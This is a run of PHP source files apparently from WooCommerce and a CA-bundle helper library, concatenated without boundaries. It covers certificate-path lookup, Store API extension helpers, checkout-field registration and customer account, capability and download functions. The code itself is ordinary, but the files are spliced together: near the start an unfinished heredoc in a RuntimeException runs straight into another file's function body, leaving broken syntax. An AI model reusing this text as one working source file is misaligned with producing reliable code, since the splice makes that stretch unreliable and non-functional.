'/etc/pki/tls/certs/ca-bundle.crt',
// Ubuntu, Debian (provided by the ca-certificates package)
'/etc/ssl/certs/ca-certificates.crt',
// FreeBSD (provided by the ca_root_nss package)
'/usr/local/share/certs/ca-root-nss.crt',
// SLES 12 (provided by the ca-certificates package)
'/var/lib/ca-certificates/ca-bundle.pem',
// OS X provided by homebrew (using the default path)
'/usr/local/etc/openssl/cert.pem',
// Google app engine
'/etc/ca-certificates.crt',
// Windows?
'C:\\windows\\system32\\curl-ca-bundle.crt',
'C:\\windows\\curl-ca-bundle.crt',
];
if ($cached) {
return $cached;
}
if ($ca = \ini_get('openssl.cafile')) {
return $cached = $ca;
}
if ($ca = \ini_get('curl.cainfo')) {
return $cached = $ca;
}
foreach ($cafiles as $filename) {
if (\file_exists($filename)) {
return $cached = $filename;
}
}
throw new \RuntimeException(<<get( ExtendSchema::class );
$extend->register_endpoint_data( $args );
} catch ( \Exception $error ) {
return new \WP_Error( 'error', $error->getMessage() );
}
return true;
}
}
if ( ! function_exists( 'woocommerce_store_api_register_update_callback' ) ) {
/**
* Add callback functions that can be executed by the cart/extensions endpoint.
*
* @see Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema::register_update_callback()
*
* @param array $args Args to pass to register_update_callback.
* @returns boolean|\WP_Error True on success, WP_Error on fail.
*/
function woocommerce_store_api_register_update_callback( $args ) {
try {
$extend = StoreApi::container()->get( ExtendSchema::class );
$extend->register_update_callback( $args );
} catch ( \Exception $error ) {
return new \WP_Error( 'error', $error->getMessage() );
}
return true;
}
}
if ( ! function_exists( 'woocommerce_store_api_register_payment_requirements' ) ) {
/**
* Registers and validates payment requirements callbacks.
*
* @see Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema::register_payment_requirements()
*
* @param array $args Args to pass to register_payment_requirements.
* @returns boolean|\WP_Error True on success, WP_Error on fail.
*/
function woocommerce_store_api_register_payment_requirements( $args ) {
try {
$extend = StoreApi::container()->get( ExtendSchema::class );
$extend->register_payment_requirements( $args );
} catch ( \Exception $error ) {
return new \WP_Error( 'error', $error->getMessage() );
}
return true;
}
}
if ( ! function_exists( 'woocommerce_store_api_get_formatter' ) ) {
/**
* Returns a formatter instance.
*
* @see Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema::get_formatter()
*
* @param string $name Formatter name.
* @return Automattic\WooCommerce\StoreApi\Formatters\FormatterInterface
*/
function woocommerce_store_api_get_formatter( $name ) {
return StoreApi::container()->get( ExtendSchema::class )->get_formatter( $name );
}
}use Automattic\WooCommerce\Blocks\Package;
use Automattic\WooCommerce\Blocks\Domain\Services\CheckoutFields;
if ( ! function_exists( 'woocommerce_register_additional_checkout_field' ) ) {
/**
* Register a checkout field.
*
* @param array $options Field arguments. See CheckoutFields::register_checkout_field() for details.
* @throws \Exception If field registration fails.
*/
function woocommerce_register_additional_checkout_field( $options ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
// Check if `woocommerce_blocks_loaded` ran. If not then the CheckoutFields class will not be available yet.
// In that case, re-hook `woocommerce_blocks_loaded` and try running this again.
$woocommerce_blocks_loaded_ran = did_action( 'woocommerce_blocks_loaded' );
if ( ! $woocommerce_blocks_loaded_ran ) {
add_action(
'woocommerce_blocks_loaded',
function () use ( $options ) {
woocommerce_register_additional_checkout_field( $options );
}
);
return;
}
$checkout_fields = Package::container()->get( CheckoutFields::class );
$result = $checkout_fields->register_checkout_field( $options );
if ( is_wp_error( $result ) ) {
throw new \Exception( esc_attr( $result->get_error_message() ) );
}
}
}
if ( ! function_exists( '__experimental_woocommerce_blocks_register_checkout_field' ) ) {
/**
* Register a checkout field.
*
* @param array $options Field arguments. See CheckoutFields::register_checkout_field() for details.
* @throws \Exception If field registration fails.
* @deprecated 5.6.0 Use woocommerce_register_additional_checkout_field() instead.
*/
function __experimental_woocommerce_blocks_register_checkout_field( $options ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
wc_deprecated_function( __FUNCTION__, '8.9.0', 'woocommerce_register_additional_checkout_field' );
woocommerce_register_additional_checkout_field( $options );
}
}
if ( ! function_exists( '__internal_woocommerce_blocks_deregister_checkout_field' ) ) {
/**
* Deregister a checkout field.
*
* @param string $field_id Field ID.
* @throws \Exception If field deregistration fails.
* @internal
*/
function __internal_woocommerce_blocks_deregister_checkout_field( $field_id ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
$checkout_fields = Package::container()->get( CheckoutFields::class );
$result = $checkout_fields->deregister_checkout_field( $field_id );
if ( is_wp_error( $result ) ) {
throw new \Exception( esc_attr( $result->get_error_message() ) );
}
}
}/**
* WooCommerce Customer Functions
*
* Functions for customers.
*
* @package WooCommerce\Functions
* @version 2.2.0
*/
use Automattic\WooCommerce\Enums\OrderInternalStatus;
use Automattic\WooCommerce\Internal\DataStores\Orders\OrdersTableDataStore;
use Automattic\WooCommerce\Internal\Utilities\Users;
use Automattic\WooCommerce\Utilities\OrderUtil;
defined( 'ABSPATH' ) || exit;
/**
* Prevent any user who cannot 'edit_posts' (subscribers, customers etc) from seeing the admin bar.
*
* Note: get_option( 'woocommerce_lock_down_admin', true ) is a deprecated option here for backwards compatibility. Defaults to true.
*
* @param bool $show_admin_bar If should display admin bar.
* @return bool
*/
function wc_disable_admin_bar( $show_admin_bar ) {
/**
* Controls whether the WooCommerce admin bar should be disabled.
*
* @since 3.0.0
*
* @param bool $enabled
*/
if ( apply_filters( 'woocommerce_disable_admin_bar', true ) && ! ( current_user_can( 'edit_posts' ) || current_user_can( 'manage_woocommerce' ) ) ) {
$show_admin_bar = false;
}
return $show_admin_bar;
}
add_filter( 'show_admin_bar', 'wc_disable_admin_bar', 10, 1 ); // phpcs:ignore WordPress.VIP.AdminBarRemoval.RemovalDetected
if ( ! function_exists( 'wc_create_new_customer' ) ) {
/**
* Create a new customer.
*
* @since 9.4.0 Moved woocommerce_registration_error_email_exists filter to the shortcode checkout class.
* @since 9.4.0 Removed handling for generating username/password based on settings--this is consumed at form level. Here, if data is missing it will be generated.
*
* @param string $email Customer email.
* @param string $username Customer username.
* @param string $password Customer password.
* @param array $args List of arguments to pass to `wp_insert_user()`.
* @return int|WP_Error Returns WP_Error on failure, Int (user ID) on success.
*/
function wc_create_new_customer( $email, $username = '', $password = '', $args = array() ) {
if ( empty( $email ) || ! is_email( $email ) ) {
return new WP_Error( 'registration-error-invalid-email', __( 'Please provide a valid email address.', 'woocommerce' ) );
}
if ( email_exists( $email ) ) {
return new WP_Error(
'registration-error-email-exists',
sprintf(
// Translators: %s Email address.
esc_html__( 'An account is already registered with %s. Please log in or use a different email address.', 'woocommerce' ),
esc_html( $email )
)
);
}
if ( empty( $username ) ) {
$username = wc_create_new_customer_username( $email, $args );
}
$username = sanitize_user( $username );
if ( empty( $username ) || ! validate_username( $username ) ) {
return new WP_Error( 'registration-error-invalid-username', __( 'Please provide a valid account username.', 'woocommerce' ) );
}
if ( username_exists( $username ) ) {
return new WP_Error( 'registration-error-username-exists', __( 'An account is already registered with that username. Please choose another.', 'woocommerce' ) );
}
// Handle password creation.
$password_generated = false;
if ( empty( $password ) ) {
$password = wp_generate_password();
$password_generated = true;
}
if ( empty( $password ) ) {
return new WP_Error( 'registration-error-missing-password', __( 'Please create a password for your account.', 'woocommerce' ) );
}
// Use WP_Error to handle registration errors.
$errors = new WP_Error();
/**
* Fires before a customer account is registered.
*
* This hook fires before customer accounts are created and passes the form data (username, email) and an array
* of errors.
*
* This could be used to add extra validation logic and append errors to the array.
*
* @since 7.2.0
*
* @internal Matches filter name in WooCommerce core.
*
* @param string $username Customer username.
* @param string $user_email Customer email address.
* @param \WP_Error $errors Error object.
*/
do_action( 'woocommerce_register_post', $username, $email, $errors );
/**
* Filters registration errors before a customer account is registered.
*
* This hook filters registration errors. This can be used to manipulate the array of errors before
* they are displayed.
*
* @since 7.2.0
*
* @internal Matches filter name in WooCommerce core.
*
* @param \WP_Error $errors Error object.
* @param string $username Customer username.
* @param string $user_email Customer email address.
* @return \WP_Error
*/
$errors = apply_filters( 'woocommerce_registration_errors', $errors, $username, $email );
if ( is_wp_error( $errors ) && $errors->get_error_code() ) {
return $errors;
}
// Merged passed args with sanitized username, email, and password.
$customer_data = array_merge(
$args,
array(
'user_login' => $username,
'user_pass' => $password,
'user_email' => $email,
'role' => 'customer',
)
);
/**
* Filters customer data before a customer account is registered.
*
* This hook filters customer data. It allows user data to be changed, for example, username, password, email,
* first name, last name, and role.
*
* @since 7.2.0
*
* @param array $customer_data An array of customer (user) data.
* @return array
*/
$new_customer_data = apply_filters(
'woocommerce_new_customer_data',
wp_parse_args(
$customer_data,
array(
'first_name' => '',
'last_name' => '',
'source' => 'unknown',
)
)
);
$customer_id = wp_insert_user( $new_customer_data );
if ( is_wp_error( $customer_id ) ) {
return $customer_id;
}
// Set account flag to remind customer to update generated password.
if ( $password_generated ) {
update_user_option( $customer_id, 'default_password_nag', true, true );
}
/**
* Fires after a customer account has been registered.
*
* This hook fires after customer accounts are created and passes the customer data.
*
* @since 7.2.0
*
* @internal Matches filter name in WooCommerce core.
*
* @param integer $customer_id New customer (user) ID.
* @param array $new_customer_data Array of customer (user) data.
* @param string $password_generated The generated password for the account.
*/
do_action( 'woocommerce_created_customer', $customer_id, $new_customer_data, $password_generated );
return $customer_id;
}
}
/**
* Create a unique username for a new customer.
*
* @since 3.6.0
* @param string $email New customer email address.
* @param array $new_user_args Array of new user args, maybe including first and last names.
* @param string $suffix Append string to username to make it unique.
* @return string Generated username.
*/
function wc_create_new_customer_username( $email, $new_user_args = array(), $suffix = '' ) {
$username_parts = array();
if ( isset( $new_user_args['first_name'] ) ) {
$username_parts[] = sanitize_user( $new_user_args['first_name'], true );
}
if ( isset( $new_user_args['last_name'] ) ) {
$username_parts[] = sanitize_user( $new_user_args['last_name'], true );
}
// Remove empty parts.
$username_parts = array_filter( $username_parts );
// If there are no parts, e.g. name had unicode chars, or was not provided, fallback to email.
if ( empty( $username_parts ) ) {
$email_parts = explode( '@', $email );
$email_username = $email_parts[0];
// Exclude common prefixes.
if ( in_array(
$email_username,
array(
'sales',
'hello',
'mail',
'contact',
'info',
),
true
) ) {
// Get the domain part.
$email_username = $email_parts[1];
}
$username_parts[] = sanitize_user( $email_username, true );
}
$username = wc_strtolower( implode( '.', $username_parts ) );
if ( $suffix ) {
$username .= $suffix;
}
/**
* WordPress 4.4 - filters the list of blocked usernames.
*
* @since 3.7.0
* @param array $usernames Array of blocked usernames.
*/
$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
// Stop illegal logins and generate a new random username.
if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) {
$new_args = array();
/**
* Filter generated customer username.
*
* @since 3.7.0
* @param string $username Generated username.
* @param string $email New customer email address.
* @param array $new_user_args Array of new user args, maybe including first and last names.
* @param string $suffix Append string to username to make it unique.
*/
$new_args['first_name'] = apply_filters(
'woocommerce_generated_customer_username',
'woo_user_' . zeroise( wp_rand( 0, 9999 ), 4 ),
$email,
$new_user_args,
$suffix
);
return wc_create_new_customer_username( $email, $new_args, $suffix );
}
if ( username_exists( $username ) ) {
// Generate something unique to append to the username in case of a conflict with another user.
$suffix = '-' . zeroise( wp_rand( 0, 9999 ), 4 );
return wc_create_new_customer_username( $email, $new_user_args, $suffix );
}
/**
* Filter new customer username.
*
* @since 3.7.0
* @param string $username Customer username.
* @param string $email New customer email address.
* @param array $new_user_args Array of new user args, maybe including first and last names.
* @param string $suffix Append string to username to make it unique.
*/
return apply_filters( 'woocommerce_new_customer_username', $username, $email, $new_user_args, $suffix );
}
/**
* Login a customer (set auth cookie and set global user object).
*
* @param int $customer_id Customer ID.
*/
function wc_set_customer_auth_cookie( $customer_id ) {
wp_set_current_user( $customer_id );
wp_set_auth_cookie( $customer_id, true );
// Update session.
if ( is_callable( array( WC()->session, 'init_session_cookie' ) ) ) {
WC()->session->init_session_cookie();
}
}
/**
* Get past orders (by email) and update them.
*
* @param int $customer_id Customer ID.
* @return int
*/
function wc_update_new_customer_past_orders( $customer_id ) {
$linked = 0;
$complete = 0;
$customer = get_user_by( 'id', absint( $customer_id ) );
$customer_orders = wc_get_orders(
array(
'limit' => -1,
'customer' => array( array( 0, $customer->user_email ) ),
'return' => 'ids',
)
);
if ( ! empty( $customer_orders ) ) {
foreach ( $customer_orders as $order_id ) {
$order = wc_get_order( $order_id );
if ( ! $order ) {
continue;
}
$order->set_customer_id( $customer->ID );
$order->save();
if ( $order->has_downloadable_item() ) {
$data_store = WC_Data_Store::load( 'customer-download' );
$data_store->delete_by_order_id( $order->get_id() );
wc_downloadable_product_permissions( $order->get_id(), true );
}
do_action( 'woocommerce_update_new_customer_past_order', $order_id, $customer );
if ( $order->get_status() === OrderInternalStatus::COMPLETED ) {
++$complete;
}
++$linked;
}
}
if ( $complete ) {
update_user_meta( $customer_id, 'paying_customer', 1 );
Users::update_site_user_meta( $customer_id, 'wc_order_count', '' );
Users::update_site_user_meta( $customer_id, 'wc_money_spent', '' );
Users::delete_site_user_meta( $customer_id, 'wc_last_order' );
}
return $linked;
}
/**
* Order payment completed - This is a paying customer.
*
* @param int $order_id Order ID.
*/
function wc_paying_customer( $order_id ) {
$order = wc_get_order( $order_id );
$customer_id = $order->get_customer_id();
if ( $customer_id > 0 && 'shop_order_refund' !== $order->get_type() ) {
$customer = new WC_Customer( $customer_id );
if ( ! $customer->get_is_paying_customer() ) {
$customer->set_is_paying_customer( true );
$customer->save();
}
}
}
add_action( 'woocommerce_payment_complete', 'wc_paying_customer' );
add_action( 'woocommerce_order_status_completed', 'wc_paying_customer' );
/**
* Checks if a user (by email or ID or both) has bought an item.
*
* @param string $customer_email Customer email to check.
* @param int $user_id User ID to check.
* @param int $product_id Product ID to check.
* @return bool
*/
function wc_customer_bought_product( $customer_email, $user_id, $product_id ) {
global $wpdb;
$result = apply_filters( 'woocommerce_pre_customer_bought_product', null, $customer_email, $user_id, $product_id );
if ( null !== $result ) {
return $result;
}
$transient_name = 'wc_customer_bought_product_' . md5( $customer_email . $user_id );
// Lookup tables get refreshed along with the `woocommerce_reports` transient version.
$transient_version = WC_Cache_Helper::get_transient_version( 'woocommerce_reports' );
$transient_value = get_transient( $transient_name );
if ( isset( $transient_value['value'], $transient_value['version'] ) && $transient_value['version'] === $transient_version ) {
$result = $transient_value['value'];
} else {
$customer_data = array( $user_id );
if ( $user_id ) {
$user = get_user_by( 'id', $user_id );
if ( isset( $user->user_email ) ) {
$customer_data[] = $user->user_email;
}
}
if ( is_email( $customer_email ) ) {
$customer_data[] = $customer_email;
}
$customer_data = array_map( 'esc_sql', array_filter( array_unique( $customer_data ) ) );
$statuses = array_map( 'esc_sql', wc_get_is_paid_statuses() );
if ( count( $customer_data ) === 0 ) {
return false;
}
if ( OrderUtil::custom_orders_table_usage_is_enabled() ) {
$statuses = array_map(
function ( $status ) {
return "wc-$status";
},
$statuses
);
$order_table = OrdersTableDataStore::get_orders_table_name();
$user_id_clause = '';
if ( $user_id ) {
$user_id_clause = 'OR o.customer_id = ' . absint( $user_id );
}
$sql = "
SELECT DISTINCT product_or_variation_id FROM (
SELECT CASE WHEN product_id != 0 THEN product_id ELSE variation_id END AS product_or_variation_id
FROM {$wpdb->prefix}wc_order_product_lookup lookup
INNER JOIN $order_table AS o ON lookup.order_id = o.ID
WHERE o.status IN ('" . implode( "','", $statuses ) . "')
AND ( o.billing_email IN ('" . implode( "','", $customer_data ) . "') $user_id_clause )
) AS subquery
WHERE product_or_variation_id != 0
";
$result = $wpdb->get_col( $sql );
} else {
$result = $wpdb->get_col(
"
SELECT DISTINCT product_or_variation_id FROM (
SELECT CASE WHEN lookup.product_id != 0 THEN lookup.product_id ELSE lookup.variation_id END AS product_or_variation_id
FROM {$wpdb->prefix}wc_order_product_lookup AS lookup
INNER JOIN {$wpdb->posts} AS p ON p.ID = lookup.order_id
INNER JOIN {$wpdb->postmeta} AS pm ON p.ID = pm.post_id
WHERE p.post_status IN ( 'wc-" . implode( "','wc-", $statuses ) . "' )
AND pm.meta_key IN ( '_billing_email', '_customer_user' )
AND pm.meta_value IN ( '" . implode( "','", $customer_data ) . "' )
) AS subquery
WHERE product_or_variation_id != 0
"
); // WPCS: unprepared SQL ok.
}
$result = array_map( 'absint', $result );
$transient_value = array(
'version' => $transient_version,
'value' => $result,
);
set_transient( $transient_name, $transient_value, DAY_IN_SECONDS * 30 );
}
return in_array( absint( $product_id ), $result, true );
}
/**
* Checks if the current user has a role.
*
* @param string $role The role.
* @return bool
*/
function wc_current_user_has_role( $role ) {
return wc_user_has_role( wp_get_current_user(), $role );
}
/**
* Checks if a user has a role.
*
* @param int|\WP_User $user The user.
* @param string $role The role.
* @return bool
*/
function wc_user_has_role( $user, $role ) {
if ( ! is_object( $user ) ) {
$user = get_userdata( $user );
}
if ( ! $user || ! $user->exists() ) {
return false;
}
return in_array( $role, $user->roles, true );
}
/**
* Checks if a user has a certain capability.
*
* @param array $allcaps All capabilities.
* @param array $caps Capabilities.
* @param array $args Arguments.
*
* @return array The filtered array of all capabilities.
*/
function wc_customer_has_capability( $allcaps, $caps, $args ) {
if ( isset( $caps[0] ) ) {
switch ( $caps[0] ) {
case 'view_order':
$user_id = intval( $args[1] );
$order = wc_get_order( $args[2] );
if ( $order && $user_id === $order->get_user_id() ) {
$allcaps['view_order'] = true;
}
break;
case 'pay_for_order':
$user_id = intval( $args[1] );
$order_id = isset( $args[2] ) ? $args[2] : null;
// When no order ID, we assume it's a new order
// and thus, customer can pay for it.
if ( ! $order_id ) {
$allcaps['pay_for_order'] = true;
break;
}
$order = wc_get_order( $order_id );
if ( $order && ( $user_id === $order->get_user_id() || ! $order->get_user_id() ) ) {
$allcaps['pay_for_order'] = true;
}
break;
case 'order_again':
$user_id = intval( $args[1] );
$order = wc_get_order( $args[2] );
if ( $order && $user_id === $order->get_user_id() ) {
$allcaps['order_again'] = true;
}
break;
case 'cancel_order':
$user_id = intval( $args[1] );
$order = wc_get_order( $args[2] );
if ( $order && $user_id === $order->get_user_id() ) {
$allcaps['cancel_order'] = true;
}
break;
case 'download_file':
$user_id = intval( $args[1] );
$download = $args[2];
if ( $download && $user_id === $download->get_user_id() ) {
$allcaps['download_file'] = true;
}
break;
}
}
return $allcaps;
}
add_filter( 'user_has_cap', 'wc_customer_has_capability', 10, 3 );
/**
* Safe way of allowing shop managers restricted capabilities that will remove
* access to the capabilities if WooCommerce is deactivated.
*
* @since 3.5.4
* @param bool[] $allcaps Array of key/value pairs where keys represent a capability name and boolean values
* represent whether the user has that capability.
* @param string[] $caps Required primitive capabilities for the requested capability.
* @param array $args Arguments that accompany the requested capability check.
* @param WP_User $user The user object.
* @return bool[]
*/
function wc_shop_manager_has_capability( $allcaps, $caps, $args, $user ) {
if ( wc_user_has_role( $user, 'shop_manager' ) ) {
// @see wc_modify_map_meta_cap, which limits editing to customers.
$allcaps['edit_users'] = true;
}
return $allcaps;
}
add_filter( 'user_has_cap', 'wc_shop_manager_has_capability', 10, 4 );
/**
* Modify the list of editable roles to prevent non-admin adding admin users.
*
* @param array $roles Roles.
* @return array
*/
function wc_modify_editable_roles( $roles ) {
if ( is_multisite() && is_super_admin() ) {
return $roles;
}
if ( ! wc_current_user_has_role( 'administrator' ) ) {
unset( $roles['administrator'] );
if ( wc_current_user_has_role( 'shop_manager' ) ) {
$shop_manager_editable_roles = apply_filters( 'woocommerce_shop_manager_editable_roles', array( 'customer' ) );
return array_intersect_key( $roles, array_flip( $shop_manager_editable_roles ) );
}
}
return $roles;
}
add_filter( 'editable_roles', 'wc_modify_editable_roles' );
/**
* Modify capabilities to prevent non-admin users editing admin users.
*
* $args[0] will be the user being edited in this case.
*
* @param array $caps Array of caps.
* @param string $cap Name of the cap we are checking.
* @param int $user_id ID of the user being checked against.
* @param array $args Arguments.
* @return array
*/
function wc_modify_map_meta_cap( $caps, $cap, $user_id, $args ) {
if ( is_multisite() && is_super_admin() ) {
return $caps;
}
switch ( $cap ) {
case 'edit_user':
case 'remove_user':
case 'promote_user':
case 'delete_user':
if ( ! isset( $args[0] ) || $args[0] === $user_id ) {
break;
} elseif ( ! wc_current_user_has_role( 'administrator' ) ) {
if ( wc_user_has_role( $args[0], 'administrator' ) ) {
$caps[] = 'do_not_allow';
} elseif ( wc_current_user_has_role( 'shop_manager' ) ) {
// Shop managers can only edit customer info.
$userdata = get_userdata( $args[0] );
$shop_manager_editable_roles = apply_filters( 'woocommerce_shop_manager_editable_roles', array( 'customer' ) ); // phpcs:ignore WooCommerce.Commenting.CommentHooks.MissingHookComment
if ( property_exists( $userdata, 'roles' ) && ! empty( $userdata->roles ) && ! array_intersect( $userdata->roles, $shop_manager_editable_roles ) ) {
$caps[] = 'do_not_allow';
}
}
}
break;
}
return $caps;
}
add_filter( 'map_meta_cap', 'wc_modify_map_meta_cap', 10, 4 );
/**
* Get customer download permissions from the database.
*
* @param int $customer_id Customer/User ID.
* @return array
*/
function wc_get_customer_download_permissions( $customer_id ) {
$data_store = WC_Data_Store::load( 'customer-download' );
return apply_filters( 'woocommerce_permission_list', $data_store->get_downloads_for_customer( $customer_id ), $customer_id ); // phpcs:ignore WooCommerce.Commenting.CommentHooks.MissingHookComment
}
/**
* Get customer available downloads.
*
* @param int $customer_id Customer/User ID.
* @return array
*/
function wc_get_customer_available_downloads( $customer_id ) {
$downloads = array();
$_product = null;
$order = null;
$file_number = 0;
// Get results from valid orders only.
$results = wc_get_customer_download_permissions( $customer_id );
if ( $results ) {
foreach ( $results as $result ) {
$order_id = intval( $result->order_id );
if ( ! $order || $order->get_id() !== $order_id ) {
// New order.
$order = wc_get_order( $order_id );
$_product = null;
}
// Make sure the order exists for this download.
if ( ! $order ) {
continue;
}
// Check if downloads are permitted.
if ( ! $order->is_download_permitted() ) {
continue;
}
$product_id = intval( $result->product_id );
if ( ! $_product || $_product->get_id() !== $product_id ) {
// New product.
$file_number = 0;
$_product = wc_get_product( $product_id );
}
// Check product exists and has the file.
if ( ! $_product || ! $_product->exists() || ! $_product->has_file( $result->download_id ) ) {
continue;
}
$download_file = $_product->get_file( $result->download_id );
// If the downloadable file has been disabled (it may be located in an untrusted location) then do not return it.
if ( ! $download_file->get_enabled() ) {
continue;
}
// Download name will be 'Product Name' for products with a single downloadable file, and 'Product Name - File X' for products with multiple files.
// phpcs:ignore WooCommerce.Commenting.CommentHooks.MissingHookComment
$download_name = apply_filters(
'woocommerce_downloadable_product_name',
$download_file['name'],
$_product,
$result->download_id,
$file_number
);
$downloads[] = array(
'download_url' => add_query_arg(
array(
'download_file' => $product_id,
'order' => $result->order_key,
'email' => rawurlencode( $result->user_email ),
'key' => $result->download_id,
),
home_url( '/' )
),
'download_id' => $result->download_id,
'product_id' => $_product->get_id(),
'product_name' => $_product->get_name(),
'product_url' => $_product->is_visible() ? $_product->get_permalink() : '', // Since 3.3.0.
'download_name' => $download_name,
'order_id' => $order->get_id(),
'order_key' => $order->get_order_key(),
'downloads_remaining' => $result->downloads_remaining,
'access_expires' => $result->access_expires,
'file' => array(
'name' => $download_file->get_name(),
'file' => $download_file->get_file(),
),
);
++$file_number;
}
}
// phpcs:ignore WooCommerce.Commenting.CommentHooks.MissingHookComment
return apply_filters( 'woocommerce_customer_available_downloads', $downloads, $customer_id );
}
/**
* Get total spent by customer.
*
* @param int $user_id User ID.
* @return string
*/
function wc_get_customer_total_spent( $user_id ) {
$customer = new WC_Customer( $user_id );
return $customer->get_total_spent();
}
/**
* Get total orders by customer.
*
* @param int $user_id User ID.
* @return int
*/
function wc_get_customer_order_count( $user_id ) {
$customer = new WC_Customer( $user_id );
return $customer->get_order_count();
}
/**
* Reset _customer_user on orders when a user is deleted.
*
* @param int $user_id User ID.
*/
function wc_reset_order_customer_id_on_deleted_user( $user_id ) {
global $wpdb;
if ( OrderUtil::custom_orders_table_usage_is_enabled() ) {
$order_table_ds = wc_get_container()->get( OrdersTableDataStore::class );
$order_table = $order_table_ds::get_orders_table_name();
$wpdb->update(
$order_table,
array(
'customer_id' => 0,
'date_updated_gmt' => current_time( 'mysql', true ),
),
array(
'customer_id' => $user_id,
),
array(
'%d',
'%s',
),
array(
'%d',
)
);
}
if ( ! OrderUtil::custom_orders_table_usage_is_enabled() || OrderUtil::is_custom_order_tables_in_sync() ) {
$wpdb->update(
$wpdb->postmeta,
array(
'meta_value' => 0, //phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
),
array(
'meta_key' => '_customer_user', //phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
'meta_value' => $user_id, //phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
)
);
}
}
add_action( 'deleted_user', 'wc_reset_order_customer_id_on_deleted_user' );
/**
* Get review verification status.
*
* @param int $comment_id Comment ID.
* @return bool
*/
function wc_review_is_from_verified_owner( $comment_id ) {
$verified = get_comment_meta( $comment_id, 'verified', true );
return '' === $verified ? WC_Comments::add_comment_purchase_verification( $comment_id ) : (bool) $verified;
}
/**
* Disable author archives for customers.
*
* @since 2.5.0
*/
function wc_disable_author_archives_for_customers() {
global $author;
if ( is_author() ) {
$user = get_user_by( 'id', $author );
if ( user_can( $user, 'customer' ) && ! user_can( $user, 'edit_posts' ) ) {
wp_safe_redirect( wc_get_page_permalink( 'shop' ) );
exit;
}
}
}
add_action( 'template_redirect', 'wc_disable_author_archives_for_customers' );
/**
* Hooks into the `profile_update` hook to set the user last updated timestamp.
*
* @since 2.6.0
* @param int $user_id The user that was updated.
* @param array $old The profile fields pre-change.
*/
function wc_update_profile_last_update_time( $user_id, $old ) {
wc_set_user_last_update_time( $user_id );
}
add_action( 'profile_update', 'wc_update_profile_last_update_time', 10, 2 );
/**
* Hooks into the update user meta function to set the user last updated timestamp.
*
* @since 2.6.0
* @param int $meta_id ID of the meta object that was changed.
* @param int $user_id The user that was updated.
* @param string $meta_key Name of the meta key that was changed.
* @param mixed $_meta_value Value of the meta that was changed.
*/
function wc_meta_update_last_update_time( $meta_id, $user_id, $meta_key, $_meta_value ) {
$keys_to_track = apply_filters( 'woocommerce_user_last_update_fields', array( 'first_name', 'last_name' ) ); // phpcs:ignore WooCommerce.Commenting.CommentHooks.MissingHookComment
$update_time = in_array( $meta_key, $keys_to_track, true ) ? true : false;
$update_time = 'billing_' === substr( $meta_key, 0, 8 ) ? true : $update_time;
$update_time = 'shipping_' === substr( $meta_key, 0, 9 ) ? true : $update_time;
if ( $update_time ) {
wc_set_user_last_update_time( $user_id );
}
}
add_action( 'update_user_meta', 'wc_meta_update_last_update_time', 10, 4 );
/**
* Sets a user's "last update" time to the current timestamp.
*
* @since 2.6.0
* @param int $user_id The user to set a timestamp for.
*/
function wc_set_user_last_update_time( $user_id ) {
update_user_meta( $user_id, 'last_update', gmdate( 'U' ) );
}
/**
* Get customer saved payment methods list.
*
* @since 2.6.0
* @param int $customer_id Customer ID.
* @return array
*/
function wc_get_customer_saved_methods_list( $customer_id ) {
return apply_filters( 'woocommerce_saved_payment_methods_list', array(), $customer_id ); // phpcs:ignore WooCommerce.Commenting.CommentHooks.MissingHookComment
}
/**
* Get info about customer's last order.
*
* @since 2.6.0
* @param int $customer_id Customer ID.
* @return WC_Order|bool Order object if successful or false.
*/
function wc_get_customer_last_order( $customer_id ) {
$customer = new WC_Customer( $customer_id );
return $customer->get_last_order();
}
/**
* Add support for searching by display_name.
*
* @since 3.2.0
* @param array $search_columns Column names.
* @return array
*/
function wc_user_search_columns( $search_columns ) {
$search_columns[] = 'display_name';
return $search_columns;
}
add_filter( 'user_search_columns', 'wc_user_search_columns' );
/**
* When a user is deleted in WordPress, delete corresponding WooCommerce data.
*
* @param int $user_id User ID being deleted.
*/
function wc_delete_user_data( $user_id ) {
global $wpdb;
// Clean up sessions.
$wpdb->delete(
$wpdb->prefix . 'woocommerce_sessions',
array(
'session_key' => $user_id,
)
);
// Revoke API keys.
$wpdb->delete(
$wpdb->prefix . 'woocommerce_api_keys',
array(
'user_id' => $user_id,
)
);
// Clean up payment tokens.
$payment_tokens = WC_Payment_Tokens::get_customer_tokens( $user_id );
foreach ( $payment_tokens as $payment_token ) {
$payment_token->delete();
}
}
add_action( 'delete_user', 'wc_delete_user_data' );
/**
* Store user agents. Used for tracker.
*
* @since 3.0.0
* @param string $user_login User login.
* @param int|object $user User.
*/
function wc_maybe_store_user_agent( $user_login, $user ) {
if ( 'yes' === get_option( 'woocommerce_allow_tracking', 'no' ) && user_can( $user, 'manage_woocommerce' ) ) {
$admin_user_agents = array_filter( (array) get_option( 'woocommerce_tracker_ua', array() ) );
$admin_user_agents[] = wc_get_user_agent();
update_option( 'woocommerce_tracker_ua', array_unique( $admin_user_agents ), false );
}
}
add_action( 'wp_login', 'wc_maybe_store_user_agent', 10, 2 );
/**
* Update logic triggered on login.
*
* @since 3.4.0
* @param string $user_login User login.
* @param object $user User.
*/
function wc_user_logged_in( $user_login, $user ) {
wc_update_user_last_active( $user->ID );
update_user_meta( $user->ID, '_woocommerce_load_saved_cart_after_login', 1 );
}
add_action( 'wp_login', 'wc_user_logged_in', 10, 2 );
/**
* Update when the user was last active.
*
* @since 3.4.0
*/
function wc_current_user_is_active() {
if ( ! is_user_logged_in() ) {
return;
}
wc_update_user_last_active( get_current_user_id() );
}
add_action( 'wp', 'wc_current_user_is_active', 10 );
/**
* Set the user last active timestamp to now.
*
* @since 3.4.0
